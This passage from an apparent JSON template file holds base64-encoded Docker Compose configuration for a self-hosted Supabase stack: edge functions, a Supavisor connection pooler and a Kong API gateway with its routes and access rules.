9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnVkVSSUZZX0pXVD0ke0ZVTkNUSU9OU19WRVJJRllfSldUOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvZnVuY3Rpb25zOi9ob21lL2Rlbm8vZnVuY3Rpb25zJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgY29udGVudDogImltcG9ydCB7IHNlcnZlIH0gZnJvbSAnaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTMxLjAvaHR0cC9zZXJ2ZXIudHMnXG5pbXBvcnQgKiBhcyBqb3NlIGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3gvam9zZUB2NC4xNC40L2luZGV4LnRzJ1xuXG5jb25zb2xlLmxvZygnbWFpbiBmdW5jdGlvbiBzdGFydGVkJylcblxuY29uc3QgSldUX1NFQ1JFVCA9IERlbm8uZW52LmdldCgnSldUX1NFQ1JFVCcpXG5jb25zdCBWRVJJRllfSldUID0gRGVuby5lbnYuZ2V0KCdWRVJJRllfSldUJykgPT09ICd0cnVlJ1xuXG5mdW5jdGlvbiBnZXRBdXRoVG9rZW4ocmVxOiBSZXF1ZXN0KSB7XG4gIGNvbnN0IGF1dGhIZWFkZXIgPSByZXEuaGVhZGVycy5nZXQoJ2F1dGhvcml6YXRpb24nKVxuICBpZiAoIWF1dGhIZWFkZXIpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ01pc3NpbmcgYXV0aG9yaXphdGlvbiBoZWFkZXInKVxuICB9XG4gIGNvbnN0IFtiZWFyZXIsIHRva2VuXSA9IGF1dGhIZWFkZXIuc3BsaXQoJyAnKVxuICBpZiAoYmVhcmVyICE9PSAnQmVhcmVyJykge1xuICAgIHRocm93IG5ldyBFcnJvcihgQXV0aCBoZWFkZXIgaXMgbm90ICdCZWFyZXIge3Rva2VufSdgKVxuICB9XG4gIHJldHVybiB0b2tlblxufVxuXG5hc3luYyBmdW5jdGlvbiB2ZXJpZnlKV1Qoand0OiBzdHJpbmcpOiBQcm9taXNlPGJvb2xlYW4+IHtcbiAgY29uc3QgZW5jb2RlciA9IG5ldyBUZXh0RW5jb2RlcigpXG4gIGNvbnN0IHNlY3JldEtleSA9IGVuY29kZXIuZW5jb2RlKEpXVF9TRUNSRVQpXG4gIHRyeSB7XG4gICAgYXdhaXQgam9zZS5qd3RWZXJpZnkoand0LCBzZWNyZXRLZXkpXG4gIH0gY2F0Y2ggKGVycikge1xuICAgIGNvbnNvbGUuZXJyb3IoZXJyKVxuICAgIHJldHVybiBmYWxzZVxuICB9XG4gIHJldHVybiB0cnVlXG59XG5cbnNlcnZlKGFzeW5jIChyZXE6IFJlcXVlc3QpID0+IHtcbiAgaWYgKHJlcS5tZXRob2QgIT09ICdPUFRJT05TJyAmJiBWRVJJRllfSldUKSB7XG4gICAgdHJ5IHtcbiAgICAgIGNvbnN0IHRva2VuID0gZ2V0QXV0aFRva2VuKHJlcSlcbiAgICAgIGNvbnN0IGlzVmFsaWRKV1QgPSBhd2FpdCB2ZXJpZnlKV1QodG9rZW4pXG5cbiAgICAgIGlmICghaXNWYWxpZEpXVCkge1xuICAgICAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KHsgbXNnOiAnSW52YWxpZCBKV1QnIH0pLCB7XG4gICAgICAgICAgc3RhdHVzOiA0MDEsXG4gICAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfSBjYXRjaCAoZSkge1xuICAgICAgY29uc29sZS5lcnJvcihlKVxuICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogZS50b1N0cmluZygpIH0pLCB7XG4gICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICAgIH0pXG4gICAgfVxuICB9XG5cbiAgY29uc3QgdXJsID0gbmV3IFVSTChyZXEudXJsKVxuICBjb25zdCB7IHBhdGhuYW1lIH0gPSB1cmxcbiAgY29uc3QgcGF0aF9wYXJ0cyA9IHBhdGhuYW1lLnNwbGl0KCcvJylcbiAgY29uc3Qgc2VydmljZV9uYW1lID0gcGF0aF9wYXJ0c1sxXVxuXG4gIGlmICghc2VydmljZV9uYW1lIHx8IHNlcnZpY2VfbmFtZSA9PT0gJycpIHtcbiAgICBjb25zdCBlcnJvciA9IHsgbXNnOiAnbWlzc2luZyBmdW5jdGlvbiBuYW1lIGluIHJlcXVlc3QnIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA0MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG5cbiAgY29uc3Qgc2VydmljZVBhdGggPSBgL2hvbWUvZGVuby9mdW5jdGlvbnMvJHtzZXJ2aWNlX25hbWV9YFxuICBjb25zb2xlLmVycm9yKGBzZXJ2aW5nIHRoZSByZXF1ZXN0IHdpdGggJHtzZXJ2aWNlUGF0aH1gKVxuXG4gIGNvbnN0IG1lbW9yeUxpbWl0TWIgPSAxNTBcbiAgY29uc3Qgd29ya2VyVGltZW91dE1zID0gMSAqIDYwICogMTAwMFxuICBjb25zdCBub01vZHVsZUNhY2hlID0gZmFsc2VcbiAgY29uc3QgaW1wb3J0TWFwUGF0aCA9IG51bGxcbiAgY29uc3QgZW52VmFyc09iaiA9IERlbm8uZW52LnRvT2JqZWN0KClcbiAgY29uc3QgZW52VmFycyA9IE9iamVjdC5rZXlzKGVudlZhcnNPYmopLm1hcCgoaykgPT4gW2ssIGVudlZhcnNPYmpba11dKVxuXG4gIHRyeSB7XG4gICAgY29uc3Qgd29ya2VyID0gYXdhaXQgRWRnZVJ1bnRpbWUudXNlcldvcmtlcnMuY3JlYXRlKHtcbiAgICAgIHNlcnZpY2VQYXRoLFxuICAgICAgbWVtb3J5TGltaXRNYixcbiAgICAgIHdvcmtlclRpbWVvdXRNcyxcbiAgICAgIG5vTW9kdWxlQ2FjaGUsXG4gICAgICBpbXBvcnRNYXBQYXRoLFxuICAgICAgZW52VmFycyxcbiAgICB9KVxuICAgIHJldHVybiBhd2FpdCB3b3JrZXIuZmV0Y2gocmVxKVxuICB9IGNhdGNoIChlKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogZS50b1N0cmluZygpIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA1MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG59KSIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvaGVsbG8vaW5kZXgudHMKICAgICAgICB0YXJnZXQ6IC9ob21lL2Rlbm8vZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgY29udGVudDogIi8vIEZvbGxvdyB0aGlzIHNldHVwIGd1aWRlIHRvIGludGVncmF0ZSB0aGUgRGVubyBsYW5ndWFnZSBzZXJ2ZXIgd2l0aCB5b3VyIGVkaXRvcjpcbi8vIGh0dHBzOi8vZGVuby5sYW5kL21hbnVhbC9nZXR0aW5nX3N0YXJ0ZWQvc2V0dXBfeW91cl9lbnZpcm9ubWVudFxuLy8gVGhpcyBlbmFibGVzIGF1dG9jb21wbGV0ZSwgZ28gdG8gZGVmaW5pdGlvbiwgZXRjLlxuXG5pbXBvcnQgeyBzZXJ2ZSB9IGZyb20gXCJodHRwczovL2Rlbm8ubGFuZC9zdGRAMC4xNzcuMS9odHRwL3NlcnZlci50c1wiXG5cbnNlcnZlKGFzeW5jICgpID0+IHtcbiAgcmV0dXJuIG5ldyBSZXNwb25zZShcbiAgICBgXCJIZWxsbyBmcm9tIEVkZ2UgRnVuY3Rpb25zIVwiYCxcbiAgICB7IGhlYWRlcnM6IHsgXCJDb250ZW50LVR5cGVcIjogXCJhcHBsaWNhdGlvbi9qc29uXCIgfSB9LFxuICApXG59KVxuXG4vLyBUbyBpbnZva2U6XG4vLyBjdXJsICdodHRwOi8vbG9jYWxob3N0OjxLT05HX0hUVFBfUE9SVD4vZnVuY3Rpb25zL3YxL2hlbGxvJyBcXFxuLy8gICAtLWhlYWRlciAnQXV0aG9yaXphdGlvbjogQmVhcmVyIDxhbm9uL3NlcnZpY2Vfcm9sZSBBUEkga2V5PidcbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gc3RhcnQKICAgICAgLSAnLS1tYWluLXNlcnZpY2UnCiAgICAgIC0gL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbgogIHN1cGFiYXNlLXN1cGF2aXNvcjoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3VwYXZpc29yOjIuNS4xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9PTEVSX1RFTkFOVF9JRD1kZXZfdGVuYW50CiAgICAgIC0gUE9PTEVSX1BPT0xfTU9ERT10cmFuc2FjdGlvbgogICAgICAtICdQT09MRVJfREVGQVVMVF9QT09MX1NJWkU9JHtQT09MRVJfREVGQVVMVF9QT09MX1NJWkU6LTIwfScKICAgICAgLSAnUE9PTEVSX01BWF9DTElFTlRfQ09OTj0ke1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk46LTEwMH0nCiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUE9TVEdSRVNfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1lY3RvOi8vc3VwYWJhc2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS9fc3VwYWJhc2UnCiAgICAgIC0gQ0xVU1RFUl9QT1NUR1JFUz10cnVlCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfUEFTU1dPUkRfU1VQQVZJU09SU0VDUkVUfScKICAgICAgLSAnVkFVTFRfRU5DX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfVkFVTFRFTkN9JwogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnTUVUUklDU19KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFJFR0lPTj1sb2NhbAogICAgICAtICdFUkxfQUZMQUdTPS1wcm90b19kaXN0IGluZXRfdGNwJwogICAgY29tbWFuZDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICcvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3N1cGF2aXNvciBldmFsICIkJChjYXQgL2V0Yy9wb29sZXIvcG9vbGVyLmV4cykiICYmIC9hcHAvYmluL3NlcnZlcicKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICB0YXJnZXQ6IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICBjb250ZW50OiAiezpvaywgX30gPSBBcHBsaWNhdGlvbi5lbnN1cmVfYWxsX3N0YXJ0ZWQoOnN1cGF2aXNvcilcbns6b2ssIHZlcnNpb259ID1cbiAgICBjYXNlIFN1cGF2aXNvci5SZXBvLnF1ZXJ5IShcInNlbGVjdCB2ZXJzaW9uKClcIikgZG9cbiAgICAle3Jvd3M6IFtbdmVyXV19IC0+IFN1cGF2aXNvci5IZWxwZXJzLnBhcnNlX3BnX3ZlcnNpb24odmVyKVxuICAgIF8gLT4gbmlsXG4gICAgZW5kXG5wYXJhbXMgPSAle1xuICAgIFwiZXh0ZXJuYWxfaWRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9URU5BTlRfSURcIiksXG4gICAgXCJkYl9ob3N0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19IT1NUTkFNRVwiKSxcbiAgICBcImRiX3BvcnRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BPUlRcIikgfD4gU3RyaW5nLnRvX2ludGVnZXIoKSxcbiAgICBcImRiX2RhdGFiYXNlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19EQlwiKSxcbiAgICBcInJlcXVpcmVfdXNlclwiID0+IGZhbHNlLFxuICAgIFwiYXV0aF9xdWVyeVwiID0+IFwiU0VMRUNUICogRlJPTSBwZ2JvdW5jZXIuZ2V0X2F1dGgoJDEpXCIsXG4gICAgXCJkZWZhdWx0X21heF9jbGllbnRzXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfTUFYX0NMSUVOVF9DT05OXCIpLFxuICAgIFwiZGVmYXVsdF9wb29sX3NpemVcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9ERUZBVUxUX1BPT0xfU0laRVwiKSxcbiAgICBcImRlZmF1bHRfcGFyYW1ldGVyX3N0YXR1c1wiID0+ICV7XCJzZXJ2ZXJfdmVyc2lvblwiID0+IHZlcnNpb259LFxuICAgIFwidXNlcnNcIiA9PiBbJXtcbiAgICBcImRiX3VzZXJcIiA9PiBcInBnYm91bmNlclwiLFxuICAgIFwiZGJfcGFzc3dvcmRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BBU1NXT1JEXCIpLFxuICAgIFwibW9kZV90eXBlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfUE9PTF9NT0RFXCIpLFxuICAgIFwicG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJpc19tYW5hZ2VyXCIgPT4gdHJ1ZVxuICAgIH1dXG59XG5cbnRlbmFudCA9IFN1cGF2aXNvci5UZW5hbnRzLmdldF90ZW5hbnRfYnlfZXh0ZXJuYWxfaWQocGFyYW1zW1wiZXh0ZXJuYWxfaWRcIl0pXG5cbmlmIHRlbmFudCBkb1xuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLnVwZGF0ZV90ZW5hbnQodGVuYW50LCBwYXJhbXMpXG5lbHNlXG4gIHs6b2ssIF99ID0gU3VwYXZpc29yLlRlbmFudHMuY3JlYXRlX3RlbmFudChwYXJhbXMpXG5lbmRcbiIK",
+ "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkdfODAwMAogICAgICAtICdLT05HX1BPUlRfTUFQUz00NDM6ODAwMCcKICAgICAgLSAnSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBLT05HX0RBVEFCQVNFPW9mZgogICAgICAtIEtPTkdfREVDTEFSQVRJVkVfQ09ORklHPS9ob21lL2tvbmcva29uZy55bWwKICAgICAgLSAnS09OR19ETlNfT1JERVI9TEFTVCxBLENOQU1FJwogICAgICAtICdLT05HX1BMVUdJTlM9cmVxdWVzdC10cmFuc2Zvcm1lcixjb3JzLGtleS1hdXRoLGFjbCxiYXNpYy1hdXRoJwogICAgICAtIEtPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSX1NJWkU9MTYwawogICAgICAtICdLT05HX05HSU5YX1BST1hZX1BST1hZX0JVRkZFUlM9NjQgMTYwaycKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ0RBU0hCT0FSRF9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0RBU0hCT0FSRF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQURNSU59JwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9hcGkva29uZy55bWwKICAgICAgICB0YXJnZXQ6IC9ob21lL2tvbmcvdGVtcC55bWwKICAgICAgICBjb250ZW50OiAiX2Zvcm1hdF92ZXJzaW9uOiAnMi4xJ1xuX3RyYW5zZm9ybTogdHJ1ZVxuXG4jIyNcbiMjIyBDb25zdW1lcnMgLyBVc2Vyc1xuIyMjXG5jb25zdW1lcnM6XG4gIC0gdXNlcm5hbWU6IERBU0hCT0FSRFxuICAtIHVzZXJuYW1lOiBhbm9uXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfQU5PTl9LRVlcbiAgLSB1c2VybmFtZTogc2VydmljZV9yb2xlXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfU0VSVklDRV9LRVlcblxuIyMjXG4jIyMgQWNjZXNzIENvbnRyb2wgTGlzdFxuIyMjXG5hY2xzOlxuICAtIGNvbnN1bWVyOiBhbm9uXG4gICAgZ3JvdXA6IGFub25cbiAgLSBjb25zdW1lcjogc2VydmljZV9yb2xlXG4gICAgZ3JvdXA6IGFkbWluXG5cbiMjI1xuIyMjIERhc2hib2FyZCBjcmVkZW50aWFsc1xuIyMjXG5iYXNpY2F1dGhfY3JlZGVudGlhbHM6XG4tIGNvbnN1bWVyOiBEQVNIQk9BUkRcbiAgdXNlcm5hbWU6ICREQVNIQk9BUkRfVVNFUk5BTUVcbiAgcGFzc3dvcmQ6ICREQVNIQk9BUkRfUEFTU1dPUkRcblxuXG4jIyNcbiMjIyBBUEkgUm91dGVzXG4jIyNcbnNlcnZpY2VzOlxuXG4gICMjIE9wZW4gQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvdmVyaWZ5XG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL3ZlcmlmeVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tY2FsbGJhY2tcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvY2FsbGJhY2tcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvY2FsbGJhY2tcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9hdXRob3JpemVcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1hdXRob3JpemVcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL2F1dGhvcml6ZVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBTZWN1cmUgQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxXG4gICAgX2NvbW1lbnQ6ICdHb1RydWU6IC9hdXRoL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIFJFU1Qgcm91dGVzXG4gIC0gbmFtZTogcmVzdC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvcmVzdC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZXN0LXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3Jlc3QvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIEdyYXBoUUwgcm91dGVzXG4gIC0gbmFtZTogZ3JhcGhxbC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvZ3JhcGhxbC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWwnXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtcmVzdDozMDAwL3JwYy9ncmFwaHFsXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBncmFwaHFsLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2dyYXBocWwvdjFcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IHJlcXVlc3QtdHJhbnNmb3JtZXJcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGFkZDpcbiAgICAgICAgICAgIGhlYWRlcnM6XG4gICAgICAgICAgICAgIC0gQ29udGVudC1Qcm9maWxlOmdyYXBocWxfcHVibGljXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUmVhbHRpbWUgcm91dGVzXG4gIC0gbmFtZTogcmVhbHRpbWUtdjEtd3NcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvc29ja2V0XG4gICAgcHJvdG9jb2w6IHdzXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3JlYWx0aW1lL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cbiAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgX2NvbW1lbnQ6ICdSZWFsdGltZTogL3JlYWx0aW1lL3YxLyogLT4gd3M6Ly9yZWFsdGltZTo0MDAwL3NvY2tldC8qJ1xuICAgIHVybDogaHR0cDovL3JlYWx0aW1lLWRldjo0MDAwL2FwaVxuICAgIHByb3RvY29sOiBodHRwXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvYXBpXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFN0b3JhZ2Ugcm91dGVzOiB0aGUgc3RvcmFnZSBzZXJ2ZXIgbWFuYWdlcyBpdHMgb3duIGF1dGhcbiAgLSBuYW1lOiBzdG9yYWdlLXYxXG4gICAgX2NvbW1lbnQ6ICdTdG9yYWdlOiAvc3RvcmFnZS92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBzdG9yYWdlLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOi